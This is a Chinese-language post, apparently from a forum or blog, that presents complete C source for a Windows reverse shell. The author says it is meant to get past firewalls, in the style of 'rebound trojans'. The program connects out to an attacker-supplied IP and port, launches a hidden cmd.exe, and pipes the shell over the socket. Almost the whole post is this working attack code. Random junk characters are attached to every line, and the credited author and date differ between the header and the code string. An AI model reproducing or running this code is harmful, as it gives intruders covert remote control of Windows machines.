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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0Qg%48u  
dB Hki*.u  
/* ============================== Is97>aid  
Rebound port in Windows NT UJ`%uLR~  
By wind,2006/7 V/)3d  
===============================*/ R(2MI}T  
#include T{ lm z<g  
#include ^.M_1$-  
w_YY~Af  
#pragma comment(lib,"wsock32.lib") 17 VNw/Y  
0.#% KfQ  
void OutputShell(); G~NhBA9  
SOCKET sClient; Xg;q\GS/<i  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xG(:O@  
II.Wa&w}  
void main(int argc,char **argv) {9hhfI#3_  
{ O>ZJOKe  
WSADATA stWsaData; &< hk&B  
int nRet; !)c0  
SOCKADDR_IN stSaiClient,stSaiServer; <4;f?e u  
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if(argc != 3) 5;9.&f  
{ d_98%U+u  
printf("Useage:\n\rRebound DestIP DestPort\n"); vf`]  
return; QEEX|WM  
} =OR&,xt  
x_EU.924uY  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^Cg@'R9  
N mN:x&/  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6uFGq)4p@  
&HJ~\6r\  
stSaiClient.sin_family = AF_INET; JM*rPzp  
stSaiClient.sin_port = htons(0); *JaFt@ x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =PoPp  
#elaz8 5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tI2p-d9B  
{ Pv@;)s(-  
printf("Bind Socket Failed!\n");  *8 ]  
return; b;I!Cy D  
} Bc#6mO-  
+Jc-9Ko\c;  
stSaiServer.sin_family = AF_INET; FRTvo  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gOk^("@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n6*; ~h5  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /h@rLJ)o>  
{ QpifO  
printf("Connect Error!"); yNQ 9~P2  
return; l1RFn,Tzr  
} Xg97[I8/  
OutputShell(); < YuI}d~'  
} J~G"D-l<9/  
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void OutputShell() .]Z,O>N  
{ {c$%3iQq  
char szBuff[1024]; B Zw#ACU  
SECURITY_ATTRIBUTES stSecurityAttributes; _d<\@Tkw  
OSVERSIONINFO stOsversionInfo; [g*]u3s  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u"a$/  
STARTUPINFO stStartupInfo; ;D<rGkry  
char *szShell; NPR{g!tK%  
PROCESS_INFORMATION stProcessInformation; !!t@ H\  
unsigned long lBytesRead; 7h/{F({r=  
o=(>#iVM  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [ \Aor[(  
fI0L\^b%  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gClDVO  
stSecurityAttributes.lpSecurityDescriptor = 0; [h2V9>4:  
stSecurityAttributes.bInheritHandle = TRUE; hO:X\:G  
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qsL6*(S(r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?)5M3 lV3k  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iF]vIg#h  
G,i%:my7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gM3gc;  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qod2m$>wp}  
stStartupInfo.wShowWindow = SW_HIDE; >Y/1%Hp9  
stStartupInfo.hStdInput = hReadPipe; FJ&zU<E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ("BFI  
N:/$N@"Ge  
GetVersionEx(&stOsversionInfo); kL qFh<  
Ljxn}):[  
switch(stOsversionInfo.dwPlatformId) cjO,#W0&f  
{ [G|2m_  
case 1: IN]bAd8"  
szShell = "command.com"; j|WaWnl=  
break; P6 G/J-  
default: Dy^4^ J5+  
szShell = "cmd.exe"; ]R{=|  
break; JGD{cr[S  
} f1>^kl3@P  
XsHl%o8,z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w02HSQ  
(;h]'I@  
send(sClient,szMsg,77,0); 5cQBqH]  
while(1) 9tC8|~Q  
{ UwQ3q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?-'Q-\j  
if(lBytesRead) tg5jS]O  
{ \>/:@4oK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); I_ .;nU1xA  
send(sClient,szBuff,lBytesRead,0); A1f]HT  
} +CNRSq"  
else (A &@ <  
{ 0KT{K(  
lBytesRead=recv(sClient,szBuff,1024,0); c\4n7m,y  
if(lBytesRead<=0) break; o-Idr{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |/lIasI  
} 90aPIs-  
} 1,`x1dcO!A  
%dT%r=%Y  
return; {Q(6 .0R  
}
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